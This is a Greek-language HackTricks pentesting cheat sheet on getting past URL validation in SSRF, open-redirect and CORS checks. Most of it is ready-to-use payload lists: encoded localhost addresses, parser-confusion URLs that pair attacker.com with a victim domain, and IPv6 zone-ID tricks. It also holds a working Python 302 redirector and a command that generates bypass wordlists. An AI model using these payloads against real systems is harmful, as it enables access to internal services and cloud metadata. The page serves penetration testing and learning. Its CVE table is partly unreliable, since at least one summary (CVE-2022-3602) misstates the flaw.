URL Format Bypass

Reading time: 9 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Τοπικός υπολογιστής

bash
# Localhost
0 # Yes, just 0 is localhost in Linuc
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://127.1:80
http://127.000000000000000.1
http://0
http:@0/ --> http://localhost/
http://0.0.0.0:80
http://localhost:80
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:3128/ Squid
http://[0000::1]:80/
http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
http://①②⑦.⓪.⓪.⓪

# CDIR bypass
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0

# Dot bypass
127。0。0。1
127%E3%80%820%E3%80%820%E3%80%821

# Decimal bypass
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1

# Octal Bypass
http://0177.0000.0000.0001
http://00000177.00000000.00000000.00000001
http://017700000001

# Hexadecimal bypass
127.0.0.1 = 0x7f 00 00 01
http://0x7f000001/ = http://127.0.0.1
http://0xc0a80014/ = http://192.168.0.20
0x7f.0x00.0x00.0x01
0x0000007f.0x00000000.0x00000000.0x00000001

# Mixed encodings bypass
169.254.43518 -> Partial Decimal (Class B) format combines the third and fourth parts of the IP address into a decimal number
0xA9.254.0251.0376 -> hexadecimal, decimal and octal

# Add 0s bypass
127.000000000000.1

# You can also mix different encoding formats
# https://www.silisoftware.com/tools/ipconverter.php

# Malformed and rare
localhost:+11211aaa
localhost:00011211aaaa
http://0/
http://127.1
http://127.0.1

# DNS to localhost
localtest.me = 127.0.0.1
customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1
mail.ebc.apple.com = 127.0.0.6 (localhost)
127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP)
www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
http://bugbounty.dod.network = 127.0.0.2 (localhost)
1ynrnhl.xip.io == 169.254.169.254
spoofed.burpcollaborator.net = 127.0.0.1

Η επέκταση Burp Burp-Encode-IP υλοποιεί παρακάμψεις μορφοποίησης IP.

Αναλυτής Τομέα

bash
https:attacker.com
https:/attacker.com
http:/\/\attacker.com
https:/\attacker.com
//attacker.com
\/\/attacker.com/
/\/attacker.com/
/attacker.com
%0D%0A/attacker.com
#attacker.com
#%20@attacker.com
@attacker.com
http://169.254.1698.254\@attacker.com
attacker%00.com
attacker%E3%80%82com
attacker。com
ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾
⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗
⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰
⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ
Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ
ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

Σύγχυση Τομέα

bash
# Try also to change attacker.com for 127.0.0.1 to try to access localhost
# Try replacing https by http
# Try URL-encoded characters
https://{domain}@attacker.com
https://{domain}.attacker.com
https://{domain}%6D@attacker.com
https://attacker.com/{domain}
https://attacker.com/?d={domain}
https://attacker.com#{domain}
https://attacker.com@{domain}
https://attacker.com#@{domain}
https://attacker.com%23@{domain}
https://attacker.com%00{domain}
https://attacker.com%0A{domain}
https://attacker.com?{domain}
https://attacker.com///{domain}
https://attacker.com\{domain}/
https://attacker.com;https://{domain}
https://attacker.com\{domain}/
https://attacker.com\.{domain}
https://attacker.com/.{domain}
https://attacker.com\@@{domain}
https://attacker.com:\@@{domain}
https://attacker.com#\@{domain}
https://attacker.com\anything@{domain}/
https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com

# On each IP position try to put 1 attackers domain and the others the victim domain
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/

#Parameter pollution
next={domain}&next=attacker.com

Paths and Extensions Bypass

Αν απαιτείται η διεύθυνση URL να τελειώνει σε μια διαδρομή ή μια επέκταση, ή να περιέχει μια διαδρομή, μπορείτε να δοκιμάσετε μία από τις παρακάτω παρακάμψεις:

https://metadata/vulerable/path#/expected/path
https://metadata/vulerable/path#.extension
https://metadata/expected/path/..%2f..%2f/vulnerable/path

Fuzzing

Το εργαλείο recollapse μπορεί να δημιουργήσει παραλλαγές από μια δεδομένη είσοδο για να προσπαθήσει να παρακάμψει την χρησιμοποιούμενη regex. Δείτε αυτή την ανάρτηση επίσης για περισσότερες πληροφορίες.

Automatic Custom Wordlists

Δείτε το URL validation bypass cheat sheet webapp από το portswigger όπου μπορείτε να εισάγετε τον επιτρεπόμενο host και τον επιτιθέμενο και θα δημιουργήσει μια λίστα URLs για να δοκιμάσετε. Επίσης, εξετάζει αν μπορείτε να χρησιμοποιήσετε το URL σε μια παράμετρο, σε ένα Host header ή σε ένα CORS header.

URL validation bypass cheat sheet for SSRF/CORS/Redirect - 2024 Edition | Web Security Academy

Bypass via redirect

Είναι πιθανό ο διακομιστής να φιλτράρει το αρχικό αίτημα ενός SSRF αλλά όχι μια πιθανή απάντηση ανακατεύθυνσης σε αυτό το αίτημα.
Για παράδειγμα, ένας διακομιστής ευάλωτος σε SSRF μέσω: url=https://www.google.com/ μπορεί να φιλτράρει την παράμετρο url. Αλλά αν χρησιμοποιήσετε έναν python server για να απαντήσει με 302 στο σημείο όπου θέλετε να ανακατευθύνετε, μπορεί να είστε σε θέση να πρόσβαση σε φιλτραρισμένες διευθύνσεις IP όπως 127.0.0.1 ή ακόμα και φιλτραρισμένα πρωτόκολλα όπως το gopher.
Δείτε αυτή την αναφορά.

python
#!/usr/bin/env python3

#python3 ./redirector.py 8000 http://127.0.0.1/

import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv)-1 != 2:
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()

class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()

HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

Εξηγημένες Τεχνικές

Blackslash-trick

Το backslash-trick εκμεταλλεύεται μια διαφορά μεταξύ του WHATWG URL Standard και του RFC3986. Ενώ το RFC3986 είναι ένα γενικό πλαίσιο για URIs, το WHATWG είναι συγκεκριμένο για web URLs και έχει υιοθετηθεί από σύγχρονους περιηγητές. Η βασική διάκριση έγκειται στην αναγνώριση του backslash (\) από το WHATWG standard ως ισοδύναμου με το forward slash (/), επηρεάζοντας τον τρόπο που αναλύονται τα URLs, συγκεκριμένα σημειώνοντας τη μετάβαση από το hostname στο path σε ένα URL.

https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg

Αριστερό τετράγωνο αγκύλη

Ο χαρακτήρας “αριστερή τετράγωνη αγκύλη” [ στο τμήμα userinfo μπορεί να προκαλέσει την UriComponentsBuilder του Spring να επιστρέψει μια τιμή hostname που διαφέρει από τους περιηγητές: https://example.com[@attacker.com

Άλλες Συγχύσεις

https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/

εικόνα από https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/

IPv6 Zone Identifier (%25) Trick

Οι σύγχρονοι αναλυτές URL που υποστηρίζουν το RFC 6874 επιτρέπουν τις link-local IPv6 διευθύνσεις να περιλαμβάνουν έναν zone identifier μετά από ένα ποσοστό. Ορισμένα φίλτρα ασφαλείας δεν είναι ενήμερα για αυτή τη σύνταξη και θα αφαιρέσουν μόνο τις IPv6 λογιές που είναι σε τετράγωνες αγκύλες, επιτρέποντας το παρακάτω payload να φτάσει σε μια εσωτερική διεπαφή:

text
http://[fe80::1%25eth0]/          # %25 = encoded '%', interpreted as fe80::1%eth0
http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style)

Αν η στοχευμένη εφαρμογή επαληθεύει ότι ο κόμβος δεν είναι fe80::1 αλλά σταματά την ανάλυση στο %, μπορεί να θεωρήσει λανθασμένα το αίτημα ως εξωτερικό. Πάντα να κανονικοποιείτε τη διεύθυνση πριν από οποιαδήποτε απόφαση ασφαλείας ή να αφαιρείτε εντελώς το προαιρετικό zone id.

Πρόσφατα CVEs ανάλυσης βιβλιοθηκών (2022–2025)

Ένα αριθμός mainstream πλαισίων έχει υποστεί προβλήματα ασυμφωνίας ονομάτων που μπορούν να εκμεταλλευτούν για SSRF μόλις η επαλήθευση URL έχει παρακαμφθεί με τα κόλπα που αναφέρονται παραπάνω:

ΈτοςCVEΣυστατικόΠερίληψη σφάλματοςΕλάχιστο PoC
2024CVE-2024-22243 / ‑22262Spring UriComponentsBuilder[ δεν επιτρέπεται στην ενότητα userinfo, έτσι το https://example.com\[@internal αναλύεται ως κόμβος example.com από το Spring αλλά ως internal από τους περιηγητές, επιτρέποντας open-redirect & SSRF όταν χρησιμοποιούνται οι λίστες επιτρεπόμενων κόμβων. Αναβάθμιση σε Spring 5.3.34 / 6.0.19 / 6.1.6+.
2023CVE-2023-27592urllib3 <1.26.15Η σύγχυση με την αντίστροφη κάθετο επέτρεψε το http://example.com\\@169.254.169.254/ να παρακάμψει τους φίλτρους κόμβων που διαχωρίζονται με @.
2022CVE-2022-3602OpenSSLΗ επαλήθευση ονόματος κόμβου παραλείφθηκε όταν το όνομα έχει κατάληξη με . (σύγχυση χωρίς τελεία).

Όταν εξαρτάστε από αναλυτές URL τρίτων, συγκρίνετε τον κανονικοποιημένο κόμβο που επιστρέφεται από τη βιβλιοθήκη που εμπιστεύεστε με την ακατέργαστη συμβολοσειρά που παρέχεται από τον χρήστη για να ανιχνεύσετε αυτές τις κατηγορίες προβλημάτων.

Βοηθήματα δημιουργίας payload (2024+)

Η δημιουργία μεγάλων προσαρμοσμένων λιστών λέξεων με το χέρι είναι χρονοβόρα. Το εργαλείο ανοιχτού κώδικα SSRF-PayloadMaker (Python 3) μπορεί τώρα να δημιουργήσει αυτόματα 80 k+ συνδυασμούς παραμόρφωσης κόμβων, συμπεριλαμβανομένων μεικτών κωδικοποιήσεων, υποχρεωτικής υποβάθμισης HTTP και παραλλαγών με αντίστροφη κάθετο:

bash
# Generate every known bypass that transforms the allowed host example.com to attacker.com
python3 ssrf_maker.py --allowed example.com --attacker attacker.com -A -o payloads.txt

Η προκύπτουσα λίστα μπορεί να τροφοδοτηθεί απευθείας στο Burp Intruder ή ffuf.

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks